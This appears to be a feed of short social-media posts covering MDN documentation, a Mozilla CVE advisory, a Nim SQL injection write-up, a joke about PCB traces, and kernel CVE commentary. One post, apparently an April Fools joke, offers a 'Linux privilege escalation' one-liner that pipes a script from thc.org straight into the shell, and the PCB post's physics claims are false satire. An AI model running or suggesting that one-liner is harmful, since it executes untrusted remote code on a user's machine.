New on MDN, I've documented all-new, fully-customizable <select> elements: https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Customizable_select. Thanks to everyone who provided reviews!
Patch your Mozilla things. They released an advisory for Firefox and Thunderbird with four sev:HIGH
vulns.
https://www.mozilla.org/en-US/security/advisories/mfsa2025-20/
CVE-2025-3028: Use-after-free triggered by XSLTProcessor
CVE-2025-3031: JIT optimization bug with different stack slot sizes
CVE-2025-3032: Leaking file descriptors from the fork server
CVE-2025-3029: URL bar spoofing via non-BMP Unicode characters
CVE-2025-3035: Tab title disclosure across pages when using AI chatbot
CVE-2025-3033: Opening local .url files could lead to another file being opened
CVE-2025-3030: Memory safety bugs fixed in Firefox 137, Thunderbird 137, Firefox ESR 128.9, and Thunderbird 128.9
CVE-2025-3034: Memory safety bugs fixed in Firefox 137 and Thunderbird 137
New iocaine & new template deployed. It looks great!
When parameterization fails: SQL injection in Nim's db_postgres module using parameterized queries https://blog.nns.ee/2025/03/28/nim-postgres-vulnerability/
UK government cuts funds for actually-working anti-cancer AI
https://pivot-to-ai.com/2025/03/31/uk-government-cuts-funds-for-actually-working-anti-cancer-ai/ - text
https://www.youtube.com/watch?v=he0dAvl37BY - video
I read a report recently that confirmed that straight PCB traces, right angle, and orthogonally placed components can actually make electrons sad and slow them down. They much prefer the excitement of whizzing along curvy traces, particularly if they end up going in to a chip at a random angle. And bright colours really make them want to work harder.
So I will be updating all #RC2014 kits with design philosophy. The first to be done is the RC2014 Mini II Picasso. You can pick one up now at #z80kits
https://z80kits.com/shop/rc2014-mini-ii-picasso/
💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):
“. <(curl -SsfL https://thc.org/7350pipe)”
https://lore.kernel.org/linux-cve-announce/2025032721-CVE-2023-53032-70ce@gregkh/T/#u "Note that it's harmless since the value will be checked at the next step." Sure, but our Bash script has determined this will get a CVE anyway: https://web.git.kernel.org/pub/scm/linux/kernel/git/lee/vulns.git/tree/scripts/cve_review#n192